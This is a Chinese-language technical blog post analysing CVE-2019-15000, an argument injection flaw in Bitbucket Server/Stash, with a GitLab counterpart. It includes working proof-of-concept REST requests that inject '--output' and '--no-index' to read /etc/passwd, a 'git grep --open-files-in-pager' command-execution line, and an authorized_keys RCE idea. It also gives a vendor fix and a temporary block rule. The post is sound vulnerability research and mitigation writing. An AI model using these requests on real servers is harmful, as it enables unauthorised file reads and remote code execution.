【技术分享】Bitbucket|gitlab 参数注入漏洞

漏洞研究的工作价值编号漏洞简介漏洞详情分析工作原理思路构造poc是否可以RCE?漏洞影响:修复方案参考资料:漏洞研究的工作价值

    先不谈这个具体的漏洞,讲讲为什么要持续进行跟进复现漏洞的研究?

落脚点在知道实践,推动工作。成长无捷径可走,经风雨,见世面才能壮筋骨、长才干。要做起而行之的行动者,不做坐而论道的清谈客。

    类似google project zero这样的顶尖研究团队,其日常的漏洞研究有如下产出:

1.确保准确评估漏洞的安全影响2.发现同一类相似漏洞3.提高漏洞利用技术水平和知识面4.理解漏洞并给出准确的缓解方案5.根据漏洞发现攻击面

    结合实际,可以为企业建立的价值有:

1.缩减评估攻击面2.精确修复漏洞3.更好的蓝军验证规则4.提供应急响应处置水平5.缓解漏洞6.提高内部知识库建设7.为决策者提供安全动态。

    不要执着学习技术细节,技术视野,技术功底也要刻意培养。做对这件事对于甲乙方安全工程师的价值在于:

开阔:搞安全要广泛吸收其他领域知识。如果不能成为多领域的专家,就不能成为安全领域的专家。安全做的是关于保护的事情,所以必须对这些事情的根本情况有较为广泛的理解。

务实:安全人员最多的错误就是将安全保护的目标设为远远超过所要保护的资产的价值或该资产的风险,需要专注于提供support业务而不是阻碍的安全解决方案。

    通过复现漏洞,组织可以实现改进内部的漏洞扫描工具,更自动化的发现漏洞,提高规则的覆盖面。个人成长方面笔者的方法论是学习-求真-创新-求真,在学习的目的上求得真实的道理,再将创新的成果以求是的态度去探索其中规律性的东西,并在这个规律的指导下,向更高层次的创新冲刺,以求在不断学习的过程中成为一名卓越的HACKER。

    闲话少叙,下面开始CVE-2019-15000,bitbucket及gitlab的参数注入漏洞介绍,作为知识的总结。

编号

CVE-2019-15000

漏洞简介

    Atlassian Bitbucket Server是一款Git代码托管解决方案。该方案能够管理并审查代码,具有差异视图、JIRA集成和构建集成等功能。Atlassian Bitbucket Data Center是Atlassian Bitbucket的数据中心版本。Atlassian Bitbucket Server和Atlassian Bitbucket Data Center中存在注入漏洞。该漏洞源于用户输入构造命令、数据结构或记录的操作过程中,网络系统或产品缺乏对用户输入数据的正确验证,未过滤或未正确过滤掉其中的特殊元素,导致系统或产品产生解析或解释方式错误。

漏洞详情

    bitbucket的早期版本称为stash,其作用类似于gitlab,一般用于企业级的代码仓库托管,在diff commit等服务器端功能存在参数注入漏洞,导致了任意文件读取和命令执行。

分析

    在出现漏洞预警后,笔者第一时间分析了hotfix,修复方案显示临时阻断措施为判断url参数是否存在--。【技术分享】Bitbucket|gitlab 参数注入漏洞_第1张图片diff发现其存在如下文件存在版本异同【技术分享】Bitbucket|gitlab 参数注入漏洞_第2张图片显然得知触发漏洞点存在于相关的git cli命令处理commit参数处。

【技术分享】Bitbucket|gitlab 参数注入漏洞_第3张图片

工作原理

    使用burpsuite或者wireshark抓包。以下是git commit后push,同stash的api进行交互时的抓包记录。

【技术分享】Bitbucket|gitlab 参数注入漏洞_第4张图片

接下来是通过git diff发现,通过firefox拦截包,对commitid后添加单引号。

【技术分享】Bitbucket|gitlab 参数注入漏洞_第5张图片发现报错,到了这一步,漏洞雏形已经基本出现了。bitbucket使用了原生的git命令,处理客户端发出的rest请求。【技术分享】Bitbucket|gitlab 参数注入漏洞_第6张图片

通过启用日志辅助调试。cd到/Atlassian/ApplicationData/Bitbucket/log,即可tail -f atlassian-bitbucket-profiler.log | grep "bin/git",方便查看原生命令进行调试。

【技术分享】Bitbucket|gitlab 参数注入漏洞_第7张图片

思路

    举一而反三,类似的git系统出现过git grep命令执行漏洞。git grep 通过

git grep -i --line-number '--open-files-in-pager=whoami;' master

可以执行任意命令,这里参数所注入的pager是指分页器:

    Git 几乎所有命令都提供分页器,即当命令输出超过一页时,自动在每页输出后暂停,可以按空格继续显示,按 q 退出。默认是less。

构造poc

    diff commit处的git实际执行的命令如下:

/usr/bin/git diff -C --color=never -U10000 --dst-prefix=dst:// --src-prefix=src:// 可控commit 可控commit -- 可控文件名

查阅diff tree相关的命令,通过注入--no-index可以指定不在索引目录的本机任何文件。尝试用diff功能比较显示出来/etc/passwd里的内容。

/usr/bin/git diff -C --color=never -U10000 --dst-prefix=dst:// --src-prefix=src:// --no-index -- -- /etc/passwd

    但是git文档中说明“The shell and other UIs might require additional quoting to protect special characters and to avoid word splitting”。我们遇到的第个问题是在命令行解析器中,--的意思是此后的部分不会再包含参数选项(option)而是作为参数内容,作为参数的内容自然不会有危害了。

所以我们需要绕过--的限制,要打造poc,需要巧妙地首先生成名为--的文件,这样生成-- --,”欺骗“git将第一个--当做选项,后注入的--当做参数。首先采用注入--output参数可以导出文件,

/rest/api/latest/projects/POC/repos/exp/commits/002e15e973ece816c8ecb38a5c42c9fab7f14960/diff/1.tt?at=master&since=--output=--&avatarSize=64&markup=false&contextLines=10000&withComments=true&autoSrcPath=false

    执行该请求,在主机git根目录处生成内容为空的--文件。

【技术分享】Bitbucket|gitlab 参数注入漏洞_第8张图片

最终完整的poc的第二步就是:

/rest/api/latest/projects/POC/repos/exp/commits/--/diff//etc/passwd?at=master&since=--no-index&avatarSize=64&markup=false&contextLines=10000&withComments=true&autoSrcPath=false

【技术分享】Bitbucket|gitlab 参数注入漏洞_第9张图片

是否可以RCE?

    另外的一个思路是通过git archive命令,使用--output导出id_rsa.pub到.ssh目录生成authorized_keys,利用方式类似于redis。

【技术分享】Bitbucket|gitlab 参数注入漏洞_第10张图片

漏洞影响:

    漏洞影响可以参考发现者的hackerone,通过参数注入实现文件操作和RCE,如果你有更好的想法,欢迎同我交流。【技术分享】Bitbucket|gitlab 参数注入漏洞_第11张图片

the second problem existed due to “Improper parameter sanitization on Gitaly”. Assigned as CVE-2019-14944, the flaw could give rise to numerous remote code execution and privilege escalation vulnerabilities. This problem affected GitLab CE/EE versions 10.0 and later.

GitLab has credited William Bowling (vakzz[1]) for reporting this flaw. It also seems that this vulnerability made the researcher win a bounty of $12,000, as visible on his HackerOne account.

【技术分享】Bitbucket|gitlab 参数注入漏洞_第12张图片

修复方案

    请参考https://confluence.atlassian.com/bitbucketserver/bitbucket-server-security-advisory-2019-09-18-976762635.html,官方补丁只支持 4.0.0以上,打了补丁之后就是这样的效果

【技术分享】Bitbucket|gitlab 参数注入漏洞_第13张图片

低版本可以考虑使用临时规避方案,简单粗暴,在stash安装目录下的atlassian-stash/WEB-INF/urlrewrite.xml文件里,增加rule:


     
     ^/rest/api/.*
--output|--no-index
          /
 

需要重启stash才生效。

    在文章写完之后等待公司修复期间,我偶然搜索资料看到了《对基于Git的版本控制服务的通用攻击面的探索》的ppt,更深入了解了一些漏洞的背景。git类的参数注入最早由长亭科技的黎荣熙提出,后来研究者肯定脱离不了ppt的框架思路,面对新的漏洞都没有公式套路可言,后来者唯有钦佩于先行者的思路,但是William Bowling依可以发现bitbucket类似的漏洞。这就是为什么我要开立公众号进行通用漏洞交流:因为早看到ppt会让我事半功倍,更快速地为公司开发出“热补丁”,这也呼应了我在前文提到的:开阔和务实对于安全工作的重要性。

参考资料:

1.https://github.com/gollum/gollum/issues/9132.https://mirrors.edge.kernel.org/pub/software/scm/git/docs/gitrevisions.html3.https://git-scm.com/docs/git-ls-tree4.https://www.jianshu.com/p/164b607ab7955.https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html6.https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-injection.html7.https://www.mi1k7ea.com/2019/07/04/浅谈escapeshellarg与参数注入/8.https://data.hackinn.com/ppt/2019第五届互联网安全领袖峰会/对基于Git的版本控制服务的通用攻击面的探索.pdf

你可能感兴趣的:(【技术分享】Bitbucket|gitlab 参数注入漏洞)